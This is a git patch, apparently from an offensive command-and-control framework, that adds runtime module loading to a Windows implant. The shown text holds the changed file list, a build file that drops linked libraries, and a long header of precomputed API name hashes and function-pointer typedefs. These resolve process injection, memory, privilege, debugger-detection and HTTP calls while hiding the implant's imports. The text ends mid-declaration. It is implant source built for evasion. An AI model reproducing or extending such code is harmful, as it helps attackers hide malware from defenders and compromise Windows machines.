From 91d8a92bb68607df735b053c21b488e09320746c Mon Sep 17 00:00:00 2001 From: hdks Date: Sat, 25 May 2024 02:05:59 +0900 Subject: [PATCH] implemented dynamic module loading for implant --- payload/win/implant/CMakeLists.txt | 3 +- payload/win/implant/include/core/crypt.hpp | 16 +- payload/win/implant/include/core/macros.hpp | 1 - payload/win/implant/include/core/procs.hpp | 378 ++++++++++++++---- payload/win/implant/include/core/state.hpp | 4 + payload/win/implant/include/core/system.hpp | 7 +- payload/win/implant/include/core/task.hpp | 5 +- .../win/implant/include/core/technique.hpp | 1 - payload/win/implant/include/core/utils.hpp | 6 + payload/win/implant/include/core/win32.hpp | 6 + payload/win/implant/include/rfl.hpp | 1 - payload/win/implant/script/calc_hash_func.py | 53 ++- payload/win/implant/script/calc_hash_module | Bin 53696 -> 53696 bytes .../win/implant/script/calc_hash_module.cpp | 12 +- payload/win/implant/src/core/crypt.cpp | 47 ++- payload/win/implant/src/core/handler.cpp | 5 +- payload/win/implant/src/core/procs.cpp | 213 ++++++++-- payload/win/implant/src/core/state.cpp | 5 + payload/win/implant/src/core/system/env.cpp | 6 +- payload/win/implant/src/core/system/fs.cpp | 44 +- payload/win/implant/src/core/system/group.cpp | 4 +- payload/win/implant/src/core/system/http.cpp | 4 +- payload/win/implant/src/core/system/priv.cpp | 10 +- .../win/implant/src/core/system/process.cpp | 42 +- .../win/implant/src/core/system/registry.cpp | 12 +- payload/win/implant/src/core/system/user.cpp | 18 +- payload/win/implant/src/core/task/group.cpp | 4 +- payload/win/implant/src/core/task/reg.cpp | 1 + payload/win/implant/src/core/task/uac.cpp | 2 + payload/win/implant/src/core/task/user.cpp | 2 +- .../technique/injection/dll_injection.cpp | 6 +- .../win/implant/src/core/utils/strings.cpp | 23 ++ payload/win/implant/src/hermit.cpp | 116 +++++- payload/win/implant/src/main/rfl.cpp | 2 +- payload/win/loader/include/core/technique.hpp | 1 - .../technique/injection/dll_injection.cpp | 2 +- 36 files changed, 819 insertions(+), 243 deletions(-) create mode 100644 payload/win/implant/include/core/win32.hpp create mode 100644 payload/win/implant/src/core/utils/strings.cpp diff --git a/payload/win/implant/CMakeLists.txt b/payload/win/implant/CMakeLists.txt index 342cf22..20b8626 100644 --- a/payload/win/implant/CMakeLists.txt +++ b/payload/win/implant/CMakeLists.txt @@ -125,6 +125,7 @@ set(SOURCE_CORE src/core/utils/convert.cpp src/core/utils/random.cpp src/core/utils/split.cpp + src/core/utils/strings.cpp ) if(${PAYLOAD_TYPE} STREQUAL \"beacon\") @@ -144,7 +145,7 @@ if(${PAYLOAD_TYPE} STREQUAL \"beacon\") endif() # LINK LIBRATILIES -link_libraries(bcrypt crypt32 dbghelp gdi32 gdiplus iphlpapi netapi32 ntdll psapi winhttp wsock32 ws2_32) +link_libraries(bcrypt dbghelp gdi32 gdiplus iphlpapi netapi32 psapi wsock32 ws2_32) # ADD if(${PAYLOAD_FORMAT} STREQUAL "dll") diff --git a/payload/win/implant/include/core/crypt.hpp b/payload/win/implant/include/core/crypt.hpp index ee503e2..7915643 100644 --- a/payload/win/implant/include/core/crypt.hpp +++ b/payload/win/implant/include/core/crypt.hpp @@ -1,12 +1,11 @@ #ifndef HERMIT_CORE_CRYPT_HPP #define HERMIT_CORE_CRYPT_HPP +#include "core/procs.hpp" #include "core/stdout.hpp" #include "core/utils.hpp" #include -#include -#include #include #include #include @@ -36,24 +35,31 @@ namespace Crypt }; typedef CRYPT* PCRYPT; - std::wstring Base64Encode(const std::vector& data); - std::vector Base64Decode(const std::wstring& w64); + std::wstring Base64Encode(Procs::PPROCS pProcs, const std::vector& data); + std::vector Base64Decode(Procs::PPROCS pProcs, const std::wstring& w64); std::vector PadPKCS7(const std::vector& data, DWORD cbBlockLen); std::vector UnpadPKCS7(const std::vector& data, DWORD dwPadLen); - PCRYPT InitCrypt(const std::wstring& wKey64, const std::wstring& wIV64); + PCRYPT InitCrypt( + Procs::PPROCS pProcs, + const std::wstring& wKey64, + const std::wstring& wIV64 + ); std::wstring Encrypt( + Procs::PPROCS pProcs, const std::vector plaindata, BCRYPT_KEY_HANDLE hKey, std::vector iv ); std::vector Decrypt( + Procs::PPROCS pProcs, const std::wstring& ciphertext, BCRYPT_KEY_HANDLE hKey, std::vector iv ); VOID Cleanup( + Procs::PPROCS pProcs, BCRYPT_ALG_HANDLE hAlg, BCRYPT_KEY_HANDLE hKey, PBYTE pbKeyObj diff --git a/payload/win/implant/include/core/macros.hpp b/payload/win/implant/include/core/macros.hpp index 0e110be..896896a 100644 --- a/payload/win/implant/include/core/macros.hpp +++ b/payload/win/implant/include/core/macros.hpp @@ -93,5 +93,4 @@ #define AES_IV_BASE64_W WIDEN(AES_IV_BASE64) #endif - #endif // HERMIT_CORE_MACROS_HPP \ No newline at end of file diff --git a/payload/win/implant/include/core/procs.hpp b/payload/win/implant/include/core/procs.hpp index c761bb5..5d5575c 100644 --- a/payload/win/implant/include/core/procs.hpp +++ b/payload/win/implant/include/core/procs.hpp @@ -6,96 +6,153 @@ #include "core/stdout.hpp" #include "core/syscalls.hpp" #include "core/utils.hpp" +#include "core/win32.hpp" #include #include #include #include -#define HASH_IV 0x35 -#define RANDOM_ADDR 0xab10f29f +// They're used for calculating module/func hashes. +#define HASH_IV 0x35 +#define RANDOM_ADDR 0xab10f29f // Generated by script/calc_hash_module -#define HASH_MODULE_KERNEL32 0xf4796887 -#define HASH_MODULE_NTDLL 0x3cd7873f +#define HASH_MODULE_BCRYPT 0xe4317f37 +#define HASH_MODULE_CRYPT32 0xd3c8cc6e +#define HASH_MODULE_KERNEL32 0xf4796887 +#define HASH_MODULE_NETAPI32 0xa0ed44a7 +#define HASH_MODULE_NTDLL 0x3cd7873f +#define HASH_MODULE_USER32 0xecf87bd5 +#define HASH_MODULE_WINHTTP 0x136aa105 + // Generated by script/calc_hash_func.py -#define HASH_FUNC_LDRLOADDLL 0x19cb5e59 -#define HASH_FUNC_NTADJUSTPRIVILEGESTOKEN 0x1b79f58d -#define HASH_FUNC_NTALLOCATEVIRTUALMEMORY 0xf8829394 -#define HASH_FUNC_NTCLOSE 0x6f18e5dd -#define HASH_FUNC_NTCREATEFILE 0x2f4d94d3 -#define HASH_FUNC_NTCREATENAMEDPIPEFILE 0x333974ac -#define HASH_FUNC_NTCREATEPROCESSEX 0xbd003d8b -#define HASH_FUNC_NTCREATETHREADEX 0x2afc9934 -#define HASH_FUNC_NTDELETEFILE 0xcd2f2302 -#define HASH_FUNC_NTDUPLICATEOBJECT 0xae23334f -#define HASH_FUNC_NTENUMERATEVALUEKEY 0xa153b717 -#define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x3a43951d -#define HASH_FUNC_NTFREEVIRTUALMEMORY 0xb6eb4645 -#define HASH_FUNC_NTGETCONTEXTTHREAD 0x904d345e -#define HASH_FUNC_NTOPENFILE 0x740aa9e1 -#define HASH_FUNC_NTOPENKEYEX 0x16b3e52d -#define HASH_FUNC_NTOPENPROCESS 0x64e24f6a -#define HASH_FUNC_NTOPENPROCESSTOKEN 0xcdd9f7af -#define HASH_FUNC_NTOPENTHREAD 0xa58f60af -#define HASH_FUNC_NTPRIVILEGECHECK 0x73129112 -#define HASH_FUNC_NTPROTECTVIRTUALMEMORY 0xa7df2bd8 -#define HASH_FUNC_NTQUERYINFORMATIONFILE 0x6226c85b -#define HASH_FUNC_NTQUERYINFORMATIONPROCESS 0xa79c59b0 -#define HASH_FUNC_NTQUERYINFORMATIONTOKEN 0x8a713c7a -#define HASH_FUNC_NTQUERYKEY 0x43da72 -#define HASH_FUNC_NTQUERYSYSTEMINFORMATION 0x1bfabb50 -#define HASH_FUNC_NTREADFILE 0xc363b2ad -#define HASH_FUNC_NTREADVIRTUALMEMORY 0x88bc3b5b -#define HASH_FUNC_NTRESUMETHREAD 0x8bad8d92 -#define HASH_FUNC_NTSETCONTEXTTHREAD 0x25df9cd2 -#define HASH_FUNC_NTSETINFORMATIONFILE 0x52a8041 -#define HASH_FUNC_NTSETINFORMATIONPROCESS 0xb5d02d0a -#define HASH_FUNC_NTSYSTEMDEBUGCONTROL 0x4def6394 -#define HASH_FUNC_NTTERMINATEPROCESS 0xc58a7b49 -#define HASH_FUNC_NTUNMAPVIEWOFSECTION 0x574e9fc1 -#define HASH_FUNC_NTWAITFORSINGLEOBJECT 0x73c87a00 -#define HASH_FUNC_NTWRITEFILE 0x9339e2e0 -#define HASH_FUNC_NTWRITEVIRTUALMEMORY 0x7c61e008 -#define HASH_FUNC_RTLALLOCATEHEAP 0xcc7755e -#define HASH_FUNC_RTLEXPANDENVIRONMENTSTRINGS 0xb73f443e -#define HASH_FUNC_RTLGETCURRENTDIRECTORY_U 0x4a121ccb -#define HASH_FUNC_RTLGETFULLPATHNAME_U 0x2116c216 -#define HASH_FUNC_RTLINITUNICODESTRING 0x4dc9caa9 -#define HASH_FUNC_RTLQUERYSYSTEMINFORMATION 0xf6044a6a -#define HASH_FUNC_RTLSETCURRENTDIRECTORY_U 0x4cd546d7 -#define HASH_FUNC_RTLSTRINGCCHCATW 0x2deef223 -#define HASH_FUNC_RTLSTRINGCCHCOPYW 0x32231e60 -#define HASH_FUNC_RTLSTRINGCCHLENGTHW 0x28821d8f -#define HASH_FUNC_RTLZEROMEMORY 0x899c0d1e -#define HASH_FUNC_CHECKREMOTEDEBUGGERPRESENT 0x478dd921 -#define HASH_FUNC_CLOSEHANDLE 0x47bdd9cb -#define HASH_FUNC_CREATETHREADPOOLWAIT 0x7a8370ac -#define HASH_FUNC_DLLMAIN 0xe2e2f348 -#define HASH_FUNC_GETPROCADDRESS 0xafa3e09d -#define HASH_FUNC_ISDEBUGGERPRESENT 0xef4ed1b -#define HASH_FUNC_LOADLIBRARYA 0x7069f241 -#define HASH_FUNC_LOADLIBRARYW 0x7069f257 -#define HASH_FUNC_MESSAGEBOXA 0xcc4a1d08 -#define HASH_FUNC_MESSAGEBOXW 0xcc4a1d1e -#define HASH_FUNC_QUERYFULLPROCESSIMAGENAMEW 0xa6e1683e -#define HASH_FUNC_RTLADDFUNCTIONTABLE 0xbe7f92ca -#define HASH_FUNC_SETFILEINFORMATIONBYHANDLE 0xbfea4fe2 -#define HASH_FUNC_SETTHREADPOOLWAIT 0x5f2a3808 -#define HASH_FUNC_VIRTUALALLOC 0x5ae0dabf -#define HASH_FUNC_VIRTUALPROTECT 0x927857d9 -#define HASH_FUNC_VIRTUALFREE 0x640675a2 -#define HASH_FUNC_WINHTTPCLOSEHANDLE 0x22081731 -#define HASH_FUNC_WINHTTPCONNECT 0xe18b30db -#define HASH_FUNC_WINHTTPOPEN 0x97451379 -#define HASH_FUNC_WINHTTPOPENREQUEST 0xd6cffcd6 -#define HASH_FUNC_WINHTTPQUERYDATAAVAILABLE 0xff301fc6 -#define HASH_FUNC_WINHTTPQUERYHEADERS 0xe17c65cd -#define HASH_FUNC_WINHTTPREADDATA 0x70389c8f -#define HASH_FUNC_WINHTTPRECEIVERESPONSE 0x66131eb5 -#define HASH_FUNC_WINHTTPSENDREQUEST 0x79792358 -#define HASH_FUNC_WINHTTPSETOPTION 0x48ed79a8 -#define HASH_FUNC_WINHTTPWRITEDATA 0xeed55fda +#define HASH_FUNC_LDRLOADDLL 0x19cb5e59 +#define HASH_FUNC_NTADJUSTPRIVILEGESTOKEN 0x1b79f58d +#define HASH_FUNC_NTALLOCATEVIRTUALMEMORY 0xf8829394 +#define HASH_FUNC_NTCLOSE 0x6f18e5dd +#define HASH_FUNC_NTCREATEFILE 0x2f4d94d3 +#define HASH_FUNC_NTCREATENAMEDPIPEFILE 0x333974ac +#define HASH_FUNC_NTCREATEPROCESSEX 0xbd003d8b +#define HASH_FUNC_NTCREATETHREADEX 0x2afc9934 +#define HASH_FUNC_NTDELETEFILE 0xcd2f2302 +#define HASH_FUNC_NTDUPLICATEOBJECT 0xae23334f +#define HASH_FUNC_NTENUMERATEVALUEKEY 0xa153b717 +#define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x3a43951d +#define HASH_FUNC_NTFREEVIRTUALMEMORY 0xb6eb4645 +#define HASH_FUNC_NTGETCONTEXTTHREAD 0x904d345e +#define HASH_FUNC_NTOPENFILE 0x740aa9e1 +#define HASH_FUNC_NTOPENKEYEX 0x16b3e52d +#define HASH_FUNC_NTOPENPROCESS 0x64e24f6a +#define HASH_FUNC_NTOPENPROCESSTOKEN 0xcdd9f7af +#define HASH_FUNC_NTOPENTHREAD 0xa58f60af +#define HASH_FUNC_NTPRIVILEGECHECK 0x73129112 +#define HASH_FUNC_NTPROTECTVIRTUALMEMORY 0xa7df2bd8 +#define HASH_FUNC_NTQUERYINFORMATIONFILE 0x6226c85b +#define HASH_FUNC_NTQUERYINFORMATIONPROCESS 0xa79c59b0 +#define HASH_FUNC_NTQUERYINFORMATIONTOKEN 0x8a713c7a +#define HASH_FUNC_NTQUERYKEY 0x43da72 +#define HASH_FUNC_NTQUERYSYSTEMINFORMATION 0x1bfabb50 +#define HASH_FUNC_NTREADFILE 0xc363b2ad +#define HASH_FUNC_NTREADVIRTUALMEMORY 0x88bc3b5b +#define HASH_FUNC_NTRESUMETHREAD 0x8bad8d92 +#define HASH_FUNC_NTSETCONTEXTTHREAD 0x25df9cd2 +#define HASH_FUNC_NTSETINFORMATIONFILE 0x52a8041 +#define HASH_FUNC_NTSETINFORMATIONPROCESS 0xb5d02d0a +#define HASH_FUNC_NTSYSTEMDEBUGCONTROL 0x4def6394 +#define HASH_FUNC_NTTERMINATEPROCESS 0xc58a7b49 +#define HASH_FUNC_NTUNMAPVIEWOFSECTION 0x574e9fc1 +#define HASH_FUNC_NTWAITFORSINGLEOBJECT 0x73c87a00 +#define HASH_FUNC_NTWRITEFILE 0x9339e2e0 +#define HASH_FUNC_NTWRITEVIRTUALMEMORY 0x7c61e008 + +#define HASH_FUNC_RTLALLOCATEHEAP 0xcc7755e +#define HASH_FUNC_RTLEXPANDENVIRONMENTSTRINGS 0xb73f443e +#define HASH_FUNC_RTLGETCURRENTDIRECTORY_U 0x4a121ccb +#define HASH_FUNC_RTLGETFULLPATHNAME_U 0x2116c216 +#define HASH_FUNC_RTLINITUNICODESTRING 0x4dc9caa9 +#define HASH_FUNC_RTLQUERYSYSTEMINFORMATION 0xf6044a6a +#define HASH_FUNC_RTLSETCURRENTDIRECTORY_U 0x4cd546d7 +#define HASH_FUNC_RTLSTRINGCCHCATW 0x2deef223 +#define HASH_FUNC_RTLSTRINGCCHCOPYW 0x32231e60 +#define HASH_FUNC_RTLSTRINGCCHLENGTHW 0x28821d8f +#define HASH_FUNC_RTLZEROMEMORY 0x899c0d1e + +#define HASH_FUNC_ADJUSTTOKENPRIVILEGES 0x667f28f7 +#define HASH_FUNC_BCRYPTCLOSEALGORITHMPROVIDER 0x34507089 +#define HASH_FUNC_BCRYPTDECRYPT 0x8f0ca18c +#define HASH_FUNC_BCRYPTDESTROYKEY 0xb3e3d126 +#define HASH_FUNC_BCRYPTENCRYPT 0x603fcbe4 +#define HASH_FUNC_BCRYPTGENERATESYMMETRICKEY 0x37f3fd1e +#define HASH_FUNC_BCRYPTGETPROPERTY 0x227e23ca +#define HASH_FUNC_BCRYPTOPENALGORITHMPROVIDER 0xecd54615 +#define HASH_FUNC_BCRYPTSETPROPERTY 0xadd558d6 +#define HASH_FUNC_CHECKREMOTEDEBUGGERPRESENT 0x478dd921 +#define HASH_FUNC_CLOSEHANDLE 0x47bdd9cb +#define HASH_FUNC_CREATEFILEW 0x9dca9eca +#define HASH_FUNC_CREATEPIPE 0xfee438df +#define HASH_FUNC_CREATEPROCESSW 0x78f4d6f9 +#define HASH_FUNC_CREATEREMOTETHREADEX 0xdc857934 +#define HASH_FUNC_CREATETHREADPOOLWAIT 0x7a8370ac +#define HASH_FUNC_CRYPTBINARYTOSTRINGW 0x3bb09cf1 +#define HASH_FUNC_CRYPTSTRINGTOBINARYW 0x6ff96cf1 +#define HASH_FUNC_DLLMAIN 0xe2e2f348 +#define HASH_FUNC_EXPANDENVIRONMENTSTRINGSW 0x30ae5619 +#define HASH_FUNC_FINDFIRSTFILEW 0x8b7ad5b9 +#define HASH_FUNC_FINDNEXTFILEW 0x9a714aba +#define HASH_FUNC_FREEENVIRONMENTSTRINGSW 0xebf072c7 +#define HASH_FUNC_GETCOMPUTERNAMEW 0x75f9dd70 +#define HASH_FUNC_GETENVIRONMENTSTRINGSW 0x6f39aea7 +#define HASH_FUNC_GETLASTERROR 0xf03e69b1 +#define HASH_FUNC_GETMODULEFILENAMEW 0x9896e0e3 +#define HASH_FUNC_GETPROCADDRESS 0xafa3e09d +#define HASH_FUNC_GETPROCESSHEAP 0xf3b49f5a +#define HASH_FUNC_GETSYSTEMDIRECTORYW 0x7115fb1a +#define HASH_FUNC_GETUSERNAMEW 0x6f996540 +#define HASH_FUNC_HEAPALLOC 0x4cb68674 +#define HASH_FUNC_HEAPFREE 0x2b04aacd +#define HASH_FUNC_ISDEBUGGERPRESENT 0xef4ed1b +#define HASH_FUNC_LOADLIBRARYA 0x7069f241 +#define HASH_FUNC_LOADLIBRARYW 0x7069f257 +#define HASH_FUNC_LOOKUPPRIVILEGEVALUEW 0x6e9aab88 +#define HASH_FUNC_MESSAGEBOXA 0xcc4a1d08 +#define HASH_FUNC_MESSAGEBOXW 0xcc4a1d1e +#define HASH_FUNC_NETAPIBUFFERFREE 0xd2840f3e +#define HASH_FUNC_NETLOCALGROUPENUM 0x8823503d +#define HASH_FUNC_NETUSERENUM 0x7a5df1b4 +#define HASH_FUNC_OPENPROCESS 0xc9e08d0 +#define HASH_FUNC_OPENPROCESSTOKEN 0x7d474909 +#define HASH_FUNC_PRIVILEGECHECK 0x8e9032ec +#define HASH_FUNC_QUERYFULLPROCESSIMAGENAMEW 0xa6e1683e +#define HASH_FUNC_READFILE 0x9a3e0607 +#define HASH_FUNC_READPROCESSMEMORY 0xb29e4a5 +#define HASH_FUNC_REGCLOSEKEY 0x2fd69f86 +#define HASH_FUNC_REGENUMKEYEXW 0x1118d05 +#define HASH_FUNC_REGOPENKEYEXW 0xab1b58e +#define HASH_FUNC_REGQUERYINFOKEYW 0x5b0be62f +#define HASH_FUNC_RTLADDFUNCTIONTABLE 0xbe7f92ca +#define HASH_FUNC_RTLCOPYMEMORY 0xfd82b9ab +#define HASH_FUNC_SETFILEINFORMATIONBYHANDLE 0xbfea4fe2 +#define HASH_FUNC_SETHANDLEINFORMATION 0x59694f77 +#define HASH_FUNC_SETTHREADPOOLWAIT 0x5f2a3808 +#define HASH_FUNC_TERMINATEPROCESS 0x74f7cca3 +#define HASH_FUNC_VIRTUALALLOC 0x5ae0dabf +#define HASH_FUNC_VIRTUALALLOCEX 0x104fd152 +#define HASH_FUNC_VIRTUALFREE 0x640675a2 +#define HASH_FUNC_VIRTUALPROTECT 0x927857d9 +#define HASH_FUNC_VIRTUALPROTECTEX 0x7ac4edec +#define HASH_FUNC_WINHTTPCLOSEHANDLE 0x22081731 +#define HASH_FUNC_WINHTTPCONNECT 0xe18b30db +#define HASH_FUNC_WINHTTPOPEN 0x97451379 +#define HASH_FUNC_WINHTTPOPENREQUEST 0xd6cffcd6 +#define HASH_FUNC_WINHTTPQUERYDATAAVAILABLE 0xff301fc6 +#define HASH_FUNC_WINHTTPQUERYHEADERS 0xe17c65cd +#define HASH_FUNC_WINHTTPREADDATA 0x70389c8f +#define HASH_FUNC_WINHTTPRECEIVERESPONSE 0x66131eb5 +#define HASH_FUNC_WINHTTPSENDREQUEST 0x79792358 +#define HASH_FUNC_WINHTTPSETOPTION 0x48ed79a8 +#define HASH_FUNC_WINHTTPWRITEDATA 0xeed55fda +#define HASH_FUNC_WRITEPROCESSMEMORY 0x9ea48f46 namespace Procs { @@ -198,38 +255,130 @@ namespace Procs // RtlZeroMemory typedef VOID (NTAPI* LPPROC_RTLZEROMEMORY)(PVOID Destination, SIZE_T Length); - // **WINAPIs** + // **WINAPI** + // AdjustTokenPrivileges + typedef BOOL (WINAPI* LPPROC_ADJUSTTOKENPRIVILEGES)(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength); + // BCryptCloseAlgorithmProvider + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTCLOSEALGORITHMPROVIDER)(BCRYPT_ALG_HANDLE hAlgorithm, ULONG dwFlags); + // BCryptDecrypt + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTDECRYPT)(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags); + // BCryptDestroyKey + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTDESTROYKEY)(BCRYPT_KEY_HANDLE hKey); + // BCryptEncrypt + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTENCRYPT)(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags); + // BCryptGenerateSymmetricKey + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTGENERATESYMMETRICKEY)(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_KEY_HANDLE *phKey, PUCHAR pbKeyObject, ULONG cbKeyObject, PUCHAR pbSecret, ULONG cbSecret, ULONG dwFlags); + // BCryptGetProperty + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTGETPROPERTY)(BCRYPT_HANDLE hObject, LPCWSTR pszProperty, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags); + // BCryptOpenAlgorithmProvider + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTOPENALGORITHMPROVIDER)(BCRYPT_ALG_HANDLE *phAlgorithm, LPCWSTR pszAlgId, LPCWSTR pszImplementation, ULONG dwFlags); + // BCryptSetProperty + typedef NTSTATUS (WINAPI* LPPROC_BCRYPTSETPROPERTY)(BCRYPT_HANDLE hObject, LPCWSTR pszProperty, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags); // CheckRemoteDebuggerPresent typedef BOOL (WINAPI* LPPROC_CHECKREMOTEDEBUGGERPRESENT)(HANDLE hProcess, PBOOL pbDebuggerPresent); // CloseHandle typedef BOOL (WINAPI* LPPROC_CLOSEHANDLE)(HANDLE hObject); + // CreateFileW + typedef HANDLE (WINAPI* LPPROC_CREATEFILEW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); + // CreatePipe + typedef BOOL (WINAPI* LPPROC_CREATEPIPE)(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize); + // CreateProcessW + typedef BOOL (WINAPI* LPPROC_CREATEPROCESSW)(LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); + // CreateRemoteThreadEx + typedef HANDLE (WINAPI* LPPROC_CREATEREMOTETHREADEX)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, LPDWORD lpThreadId); + // CryptBinaryToStringW + typedef BOOL (WINAPI* LPPROC_CRYPTBINARYTOSTRINGW)(const BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPWSTR pszString, DWORD *pcchString); + // CryptStringToBinaryW + typedef BOOL (WINAPI* LPPROC_CRYPTSTRINGTOBINARYW)(LPCWSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags); // DllMain typedef BOOL (WINAPI* LPPROC_DLLMAIN)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); + // ExpandEnvironmentStringsW + typedef DWORD (WINAPI* LPPROC_EXPANDENVIRONMENTSTRINGSW)(LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize); + // FindFirstFileW + typedef HANDLE (WINAPI* LPPROC_FINDFIRSTFILEW)(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); + // FindNextFileW + typedef BOOL (WINAPI* LPPROC_FINDNEXTFILEW)(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); + // FreeEnvironmentStringsW + typedef BOOL (WINAPI* LPPROC_FREEENVIRONMENTSTRINGSW)(LPWCH penv); + // GetComputerNameW + typedef BOOL (WINAPI* LPPROC_GETCOMPUTERNAMEW)(LPWSTR lpBuffer, LPDWORD nSize); + // GetEnvironmentStringsW + typedef LPWCH (WINAPI* LPPROC_GETENVIRONMENTSTRINGSW)(); + // GetLastError + typedef DWORD (WINAPI* LPPROC_GETLASTERROR)(); + // GetModuleFileNameW + typedef DWORD (WINAPI* LPPROC_GETMODULEFILENAMEW)(HMODULE hModule, LPWSTR lpFilename, DWORD nSize); // GetProcAddress typedef FARPROC (WINAPI* LPPROC_GETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName); + // GetProcessHeap + typedef HANDLE (WINAPI* LPPROC_GETPROCESSHEAP)(); + // GetSystemDirectoryW + typedef UINT (WINAPI* LPPROC_GETSYSTEMDIRECTORYW)(LPWSTR lpBuffer, UINT uSize); + // GetUserNameW + typedef BOOL (WINAPI* LPPROC_GETUSERNAMEW)(LPWSTR lpBuffer, LPDWORD pcbBuffer); + // HeapAlloc + typedef LPVOID (WINAPI* LPPROC_HEAPALLOC)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); + // HeapFree + typedef BOOL (WINAPI* LPPROC_HEAPFREE)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem); // IsDebuggerPresent typedef BOOL (WINAPI* LPPROC_ISDEBUGGERPRESENT)(); // LoadLibraryA typedef HMODULE (WINAPI* LPPROC_LOADLIBRARYA)(LPCSTR lpLibFileName); // LoadLibraryW typedef HMODULE (WINAPI* LPPROC_LOADLIBRARYW)(LPCWSTR lpLibFileName); + // LookupPrivilegeValueW + typedef BOOL (WINAPI* LPPROC_LOOKUPPRIVILEGEVALUEW)(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid); // MessageBoxA typedef int (WINAPI* LPPROC_MESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); // MessageBoxW typedef int (WINAPI* LPPROC_MESSAGEBOXW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType); + // NetApiBufferFree + typedef NET_API_STATUS (WINAPI* LPPROC_NETAPIBUFFERFREE)(LPVOID Buffer); + // NetLocalGroupEnum + typedef NET_API_STATUS (WINAPI* LPPROC_NETLOCALGROUPENUM)(LPCWSTR servername, DWORD level, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, PDWORD_PTR resumehandle); + // NetUserEnum + typedef NET_API_STATUS (WINAPI* LPPROC_NETUSERENUM)(LPCWSTR servername, DWORD level, DWORD filter, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, PDWORD resume_handle); + // OpenProcess + typedef HANDLE (WINAPI* LPPROC_OPENPROCESS)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); + // OpenProcessToken + typedef BOOL (WINAPI* LPPROC_OPENPROCESSTOKEN)(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); + // PrivilegeCheck + typedef BOOL (WINAPI* LPPROC_PRIVILEGECHECK)(HANDLE ClientToken, PPRIVILEGE_SET RequiredPrivileges, LPBOOL pfResult); // QueryFullProcessImageNameW typedef BOOL (WINAPI* LPPROC_QUERYFULLPROCESSIMAGENAMEW)(HANDLE hProcess, DWORD dwFlags, LPWSTR lpExeName, PDWORD lpdwSize); + // ReadFile + typedef BOOL (WINAPI* LPPROC_READFILE)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); + // ReadProcessMemory + typedef BOOL (WINAPI* LPPROC_READPROCESSMEMORY)(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); + // RegCloseKey + typedef LSTATUS (WINAPI* LPPROC_REGCLOSEKEY)(HKEY hKey); + // RegEnumKeyExW + typedef LSTATUS (WINAPI* LPPROC_REGENUMKEYEXW)(HKEY hKey, DWORD dwIndex, LPWSTR lpName, LPDWORD lpcchName, LPDWORD lpReserved, LPWSTR lpClass, LPDWORD lpcchClass, PFILETIME lpftLastWriteTime); + // RegOpenKeyExW + typedef LSTATUS (WINAPI* LPPROC_REGOPENKEYEXW)(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); + // RegQueryInforKeyW + typedef LSTATUS (WINAPI* LPPROC_REGQUERYINFOKEYW)(HKEY hKey, LPWSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD 